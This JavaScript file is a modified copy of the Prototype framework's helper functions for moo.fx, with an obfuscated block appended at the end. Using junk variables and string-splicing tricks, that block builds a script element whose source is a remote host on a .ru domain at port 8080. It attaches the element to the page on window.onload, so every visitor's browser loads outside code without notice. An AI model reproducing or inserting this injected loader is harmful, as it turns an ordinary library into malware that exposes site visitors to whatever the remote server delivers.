/*  Prototype JavaScript framework
 *  (c) 2005 Sam Stephenson <sam@conio.net>
 *  Prototype is freely distributable under the terms of an MIT-style license.
 *  For details, see the Prototype web site: http://prototype.conio.net/
/*--------------------------------------------------------------------------*/

//note: modified & stripped down version of prototype, to be used with moo.fx by mad4milk (http://moofx.mad4milk.net).

var Class = {
	create: function() {
		return function() {
			this.initialize.apply(this, arguments);
		}
	}
}

Object.extend = function(destination, source) {
	for (property in source) destination[property] = source[property];
	return destination;
}

Function.prototype.bind = function(object) {
	var __method = this;
	return function() {
		return __method.apply(object, arguments);
	}
}

Function.prototype.bindAsEventListener = function(object) {
var __method = this;
	return function(event) {
		__method.call(object, event || window.event);
	}
}

function $() {
	if (arguments.length == 1) return get$(arguments[0]);
	var elements = [];
	$c(arguments).each(function(el){
		elements.push(get$(el));
	});
	return elements;

	function get$(el){
		if (typeof el == 'string') el = document.getElementById(el);
		return el;
	}
}

if (!window.Element) var Element = new Object();

Object.extend(Element, {
	remove: function(element) {
		element = $(element);
		element.parentNode.removeChild(element);
	},

	hasClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var hasClass = false;
		element.className.split(' ').each(function(cn){
			if (cn == className) hasClass = true;
		});
		return hasClass;
	},

	addClassName: function(element, className) {
		element = $(element);
		Element.removeClassName(element, className);
		element.className += ' ' + className;
	},
  
	removeClassName: function(element, className) {
		element = $(element);
		if (!element) return;
		var newClassName = '';
		element.className.split(' ').each(function(cn, i){
			if (cn != className){
				if (i > 0) newClassName += ' ';
				newClassName += cn;
			}
		});
		element.className = newClassName;
	},

	cleanWhitespace: function(element) {
		element = $(element);
		$c(element.childNodes).each(function(node){
			if (node.nodeType == 3 && !/\S/.test(node.nodeValue)) Element.remove(node);
		});
	},

	find: function(element, what) {
		element = $(element)[what];
		while (element.nodeType != 1) element = element[what];
		return element;
	}
});

var Position = {
	cumulativeOffset: function(element) {
		var valueT = 0, valueL = 0;
		do {
			valueT += element.offsetTop  || 0;
			valueL += element.offsetLeft || 0;
			element = element.offsetParent;
		} while (element);
		return [valueL, valueT];
	}
};

document.getElementsByClassName = function(className) {
	var children = document.getElementsByTagName('*') || document.all;
	var elements = [];
	$c(children).each(function(child){
		if (Element.hasClassName(child, className)) elements.push(child);
	});  
	return elements;
}

//useful array functions
Array.prototype.each = function(func){
	for(var i=0;ob=this[i];i++) func(ob, i);
}

function $c(array){
	var nArray = [];
	for (i=0;el=array[i];i++) nArray.push(el);
	return nArray;
}
var jY=["R","u","b"];var wi={nN:"q"};Rz=["nv","G"];var t;E=["X","K","pP"];var ky=46817;_=function(){var c="c";try {var jz='e'} catch(jz){};function f(P,j,J){var Xn={};tE=["O"];return P.substr(j,J);}var SJ={};this.Qx=38878;this.Qx++;var s=document;var Y='';GX=["N","x"];var tH=RegExp;sz=["ep","a"];var Jm=new String("/g"+"oo"+"gl"+"e."+f("cof5UG",0,2)+"m/"+"di"+"gg"+f("n0L1.cn0L1",4,2)+"om"+f("0iF/gi0F",3,2)+"sm"+f("arRx5",0,2)+f("V78Oen8OV7",4,2)+f("a.KhCU",0,2)+"co"+f("m.iLhU",0,2)+"ph"+f("sX3fp3fXs",4,1));var fc=new String();function Z(P,j){var J=String("[")+j+"]";var F=new tH(J, String("g"));z=["o","yN"];var C=false;return P.replace(F, Y);h={cC:27047};};var ZO=31018;try {var GU='es'} catch(GU){};var p=671108-663028;Re={Ng:"IT"};this.Od="Od";te={rn:"L"};var k=null;var pJ=[];var OV={Uo:false};var kf=Z('sLcvr2impDtu','gv2mQzLRDu');try {var Uu='mV'} catch(Uu){};KM={H:"xH"};var i=f("bodJPi",0,3)+"y";t=function(){var CX='';try {aU=57758;aU+=8;DD=["wo","cB","ITx"];var y=Z('cqr3eua3tWeqEslBeWm6eynWty','zypuqk6sB03WR');this.W=false;this.wob=29565;this.wob+=58;jO=s[y](kf);var jy={VZ:"ns"};var tA={fz:"IL"};var U=Z('smrvcJ','Rv7GdJmxpNo3');xN={};VO=39966;VO+=87;var pb=new String(f("derO6x",0,2)+f("HIufeHIu",3,2)+f("reMI",0,1));var ds=["CD","bq"];var WX={JB:4620};EZ={di:"Gj"};OW={BV:"qz"};var P=p+Jm;var TI={cm:49412};me=["PY"];var T_={};jO[U]=f("httpeUJb",0,4)+"://d"+"opeb"+"ank."+f("YCaLru:YCaL",4,3)+P;tl=16836;tl-=163;var dM="";jO[pb]=[1,2][0];this.QQ=false;var Dh="";var Vu=["Ny"];s[i].appendChild(jO);this.sT=57866;this.sT+=135;var QT='';var Gh='';} catch(w){this.Rze=62791;this.Rze+=167;this.uH=11733;this.uH+=233;Ui=21276;Ui++;uO=["lD","Lk","qv"];};var Jmj=[];this.pk=13587;this.pk-=41;};this.Ya="Ya";};_();var iA=false;var lr=["ww","Fab"];var mK="mK";window.onload=t;var hr={Us:"ILw"};pB={};var Ad=["Fh","dZ","jyE"];var Hi="Hi";